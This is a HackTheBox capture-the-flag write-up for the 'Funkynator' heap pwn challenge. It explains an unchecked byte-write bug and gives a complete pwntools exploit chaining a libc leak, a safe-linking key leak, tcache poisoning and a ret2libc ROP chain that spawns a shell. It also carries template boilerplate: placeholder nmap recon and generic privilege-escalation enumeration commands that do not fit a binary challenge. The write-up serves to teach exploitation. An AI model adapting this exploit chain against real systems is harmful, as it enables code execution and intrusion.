Funkynator
Funkynator
Platform: HackTheBox | Category: Pwn | Type: Challenge | Difficulty: Hard | OS: NA | Author: D3v0o0Nu11 | Date: 2026-05-19 | Status: Solved Techniques: environ_stack_leak, ret2libc, safe_linking_key_leak, tcache_poisoning_stack, unsorted_bin_libc_leak
Summary
Task: A hardened PIE binary with Full RELRO, NX, Canary, and a heap message editor that allows unchecked byte writes by user-controlled offset. Solution: Leak libc through unsorted-bin metadata, recover the safe-linking key from a freed tcache chunk, poison tcache to land on environ, leak the stack, and return into a ret2libc ROP chain.
Recon
Port scan
nmap -p- -sV -sC <TARGET> --min-rate 1000 -Pn
| Port | Service | Version | Notes |
|---|---|---|---|
| <PORT> | <SVC> | <VER> | <notes> |
Enumeration highlights
- Event:
hackthebox| ID:20260519_hackthebox_funkynator - Tags: pie, heap_overflow, full_relro, tcache_poisoning, environ_leak, stack_rop, canary, safe_linking, arbitrary_byte_write, unsorted_bin, glibc_2.41
- Indicators: unchecked unsigned offset write into heap buffer, puts() used to examine heap data, adjacent freed tcache chunk reveals safe-linking key when fd is NULL, provided glibc 2.41 removes easy hook targets, environ is reachable after tcache poisoning
- Source:
20260519_hackthebox_funkynator.md
Foothold
Vulnerability / Misconfiguration
- Environ_stack_leak
- Ret2libc
- Safe_linking_key_leak
- Tcache_poisoning_stack
- Unsorted_bin_libc_leak
<command>
Exploitation
- See original writeup content for detailed exploitation.
Privilege Escalation
Enumeration
sudo -l find / -perm -4000 2>/dev/null getcap -r / 2>/dev/null cat /etc/crontab ps aux
Exploitation
- N/A for challenge-type writeup; see exploitation above.
- Flag obtained via challenge solve.
<command>
Flags
| Flag | Location | Value |
|---|---|---|
| flag | REDACTED |
Key Takeaways / Lessons
- environ_stack_leak
- ret2libc
- safe_linking_key_leak
- tcache_poisoning_stack
- unsorted_bin_libc_leak
- Tags: pie, heap_overflow, full_relro, tcache_poisoning, environ_leak, stack_rop, canary, safe_linking, arbitrary_byte_write, unsorted_bin, glibc_2.41
Original Writeup
<details><summary>Click to expand original content</summary>Description
No original organizer description was preserved in the task files.
The binary lets us create, save, revisit, and edit heap-backed messages. Despite strong mitigations and a modern provided glibc 2.41, one unchecked byte-write primitive is enough to build a full heap-to-stack exploitation chain.
Analysis
Binary summary
- Binary:
challenge/funkynator - Provided libc:
challenge/glibc/libc.so.6 - Protections: Full RELRO, NX, Canary, PIE
Core bug
The vulnerability is in process_message().
puts("please give the offset of the byte:");
size_t offset;
scanf("%lu", &offset);
...
message[offset] = (char)value;
offset is read as an unsigned long and never validated, so the menu option overwrite byte becomes an arbitrary relative one-byte write from the current heap chunk. That lets us:
- corrupt the current chunk header,
- extend printing into adjacent chunks,
- overwrite freed-chunk metadata such as tcache
fdpointers.
Important reversing notes
funkify() only changes alphabetic characters to alternating case. Non-alphabetic bytes are left untouched, so heap metadata, pointer bytes, and ROP payload bytes survive as long as we avoid alphabetic characters where needed.
Why the first FSOP idea failed
The initial plan was a House of Apple 2 / _IO_list_all attack. That line of attack was abandoned for a good reason:
- Reaching
_IO_list_alldid not trigger code execution. - Even replacing
_IO_list_allwith a sentinel like0xdeadbeefstill produced a normal exit. - That strongly suggested the expected flush path was not reached in a useful way for this binary/libc combination.
Instead of forcing FSOP further, the successful exploit pivoted completely to a more direct path: libc leak -> safe-linking key leak -> tcache poison -> environ leak -> stack ROP.
Solution
Step 1: Leak libc from unsorted-bin metadata
Allocate chunks around 0x100, 0x500, and 0x20, then free the large one so it enters the unsorted bin. Continue processing the earlier chunk and use the relative byte write to corrupt size bytes, extending what puts() can print during examine.
That exposes the freed unsorted-bin metadata and leaks the unsorted fd pointer.
Working formula:
libc_base = libc_leak - 0x1e7b20
Step 2: Leak the heap safe-linking key
Free one adjacent 0x40-class tcache chunk and extend the previous chunk over it. For a singly freed chunk, the stored fd is NULL, so the first qword we read back effectively gives the safe-linking key:
heap_key = chunk_addr >> 12
This is enough to encode a poisoned forward pointer later.
Step 3: Use the correct tcache-poison pattern
A single freed chunk is not enough. If the poisoned chunk is the only element in that tcache bin, the next allocation pops it and the bin becomes empty before the poisoned target can be returned.
The working pattern was:
- Leak
heap_keyseparately. - Allocate fresh
p,q,rin the0x40size class. - Free
r, then freeq, soqbecomes the tcache head andq->fdpoints tor. - Continue processing adjacent
p. - Overwrite
q->fd = target ^ heap_key. - First allocation pops
q; second allocation returnstarget.
For the stack leak stage, the chosen target was:
target = environ - 0x48
Step 4: Leak a stack pointer through environ
After poisoning tcache, allocate onto environ - 0x48. Then fill bytes 0x28..0x47 with nonzero values so puts() does not stop early and reaches the environ pointer during examine.
The leak was parsed as:
stack_leak = u64(data[0x48:0x4e] + b'\x00\x00') saved_rip = stack_leak - 0x1b0
Step 5: Write a ret2libc chain on the saved return address
With the saved return address known, the exploit writes a short ROP chain directly onto the process_message() stack frame:
ret(alignment)pop rdi; ret- Pointer to
"/bin/sh"in libc system
When process_message() returns, execution immediately pivots into this chain.
Key offsets
LIBC_ENVIRON = 0x1eee28 LIBC_BINSH = 0x1a7ea4 LIBC_SYSTEM = 0x053110 LIBC_LEAK_OFF = 0x1e7b20 STACK_RIP_DELTA = 0x1b0
The pop rdi; ret and ret gadget offsets were obtained from pwntools.ROP() on the provided libc.
Full exploit
#!/usr/bin/env python3
from pwn import *
import sys
context.arch = 'amd64'
context.log_level = 'info'
LIBC_ENVIRON = 0x1eee28
LIBC_BINSH = 0x1a7ea4
LIBC_SYSTEM = 0x053110
LIBC_LEAK_OFF = 0x1e7b20
STACK_RIP_DELTA = 0x1b0
HOST = sys.argv[1] if len(sys.argv) > 1 else 'localhost'
PORT = int(sys.argv[2]) if len(sys.argv) > 2 else 11337
libc = ELF('challenge/glibc/libc.so.6', checksec=False)
rop = ROP(libc)
POP_RDI = rop.find_gadget(['pop rdi', 'ret']).address
RET = rop.find_gadget(['ret']).address
def conn():
io = remote(HOST, PORT, timeout=10)
io.recvuntil(b'name?\n')
io.sendline(b'hacker')
return io
def menu(io, choice):
io.recvuntil(b'> ')
io.sendline(str(choice).encode())
def create_and_save(io, size, data=None):
menu(io, 2)
io.recvuntil(b':\n')
io.sendline(str(size).encode())
io.recvuntil(b':\n')
d = data if data is not None else b'A' * size
if len(d) < size:
d += b'A' * (size - len(d))
io.sendline(d[:size])
io.recvuntil(b'text?\n')
io.sendline(b'n')
io.recvuntil(b'memory?\n')
io.sendline(b'y')
io.recvuntil(b'location ')
return int(io.recvline().strip())
def delete(io, slot):
menu(io, 4)
io.recvuntil(b':\n')
io.sendline(str(slot).encode())
def cont_proc(io, slot):
menu(io, 5)
io.recvuntil(b':\n')
io.sendline(str(slot).encode())
io.recvuntil(b'> ')
def ow(io, offset, value):
io.sendline(b'3')
io.recvuntil(b':\n')
if offset < 0:
offset &= 0xffffffffffffffff
io.sendline(str(offset).encode())
io.recvuntil(b'?\n')
io.send(bytes([value & 0xff]) + b'\n')
io.recvuntil(b'> ')
def wb(io, offset, data):
for i, b in enumerate(data):
ow(io, offset + i, b)
def examine(io):
io.sendline(b'2')
io.recvuntil(b'Your message:\n')
data = io.recvuntil(b'+---------------------------+', drop=True)
io.recvuntil(b'> ')
return data.rstrip(b'\n')
def stop_free(io):
io.sendline(b'1')
io.recvuntil(b'memory?\n')
io.sendline(b'n')
def stop_save(io):
io.sendline(b'1')
io.recvuntil(b'memory?\n')
io.sendline(b'y')
io.recvuntil(b'location ')
return int(io.recvline().strip())
def main():
io = conn()
# libc leak via unsorted fd
s1 = create_and_save(io, 0x100)
s2 = create_and_save(io, 0x500)
create_and_save(io, 0x20)
delete(io, s2)
cont_proc(io, s1)
ow(io, -8, 0x21)
ow(io, -7, 0x06)
for i in range(0x100, 0x110):
ow(io, i, 0x41)
for i in range(0x118, 0x120):
ow(io, i, 0x41)
data = examine(io)
libc_leak = u64(data[0x110:0x116] + b'\x00\x00')
libc_base = libc_leak - LIBC_LEAK_OFF
environ_addr = libc_base + LIBC_ENVIRON
binsh_addr = libc_base + LIBC_BINSH
system_addr = libc_base + LIBC_SYSTEM
pop_rdi = libc_base + POP_RDI
ret = libc_base + RET
log.success(f'libc_base = {hex(libc_base)}')
ow(io, -8, 0x11)
ow(io, -7, 0x01)
for i in range(0x100, 0x108):
ow(io, i, 0)
ow(io, 0x108, 0x11)
ow(io, 0x109, 0x05)
for i in range(0x10A, 0x110):
ow(io, i, 0)
wb(io, 0x110, p64(libc_leak))
wb(io, 0x118, p64(libc_leak))
stop_free(io)
# heap key leak using single freed 0x40 chunk (fd == NULL => key only)
ka = create_and_save(io, 0x28)
kb = create_and_save(io, 0x28)
delete(io, kb)
cont_proc(io, ka)
ow(io, -8, 0x91)
for i in range(0x28, 0x40):
ow(io, i, 0x42)
for i in range(0x48, 0x50):
ow(io, i, 0x42)
data = examine(io)
heap_key = u64(data[0x40:min(len(data), 0x48)].ljust(8, b'\x00'))
log.success(f'heap_key = {hex(heap_key)}')
ow(io, -8, 0x41)
stop_save(io)
# real tcache poison: free extra chunk first, adjacent chunk second
p = create_and_save(io, 0x28)
q = create_and_save(io, 0x28)
r = create_and_save(io, 0x28)
delete(io, r)
delete(io, q)
cont_proc(io, p)
ow(io, -8, 0x91)
target = environ_addr - 0x48
wb(io, 0x40, p64(target ^ heap_key))
ow(io, -8, 0x41)
stop_save(io)
create_and_save(io, 0x28, b'X' * 0x28) # pop poisoned head
s_t = create_and_save(io, 0x28, b'Y' * 0x28) # target allocation
log.success(f'target allocation slot = {s_t}')
# leak stack via environ at target+0x48
cont_proc(io, s_t)
for i in range(0x28, 0x48):
ow(io, i, 0x45)
data = examine(io)
stack_leak = u64(data[0x48:0x4E] + b'\x00\x00')
saved_rip = stack_leak - STACK_RIP_DELTA
log.success(f'stack_leak = {hex(stack_leak)}')
log.info(f'saved_rip = {hex(saved_rip)}')
# write ROP chain onto process_message saved RIP
chain = p64(ret) + p64(pop_rdi) + p64(binsh_addr) + p64(system_addr)
wb(io, saved_rip - target, chain)
log.info('ROP chain written')
# return from process_message directly into ROP; do NOT answer save prompt
io.sendline(b'1')
sleep(0.2)
io.sendline(b'cat /home/ctf/flag.txt 2>/dev/null || cat flag.txt 2>/dev/null || cat /flag.txt 2>/dev/null')
print(io.recvrepeat(2).decode('latin-1', errors='replace'))
if __name__ == '__main__':
main()
</details>
Auto-tracked: saved to WriteUps; run
/xesor-reviseto fold lessons into XESXor_Methodology.md.
signed by XESXOR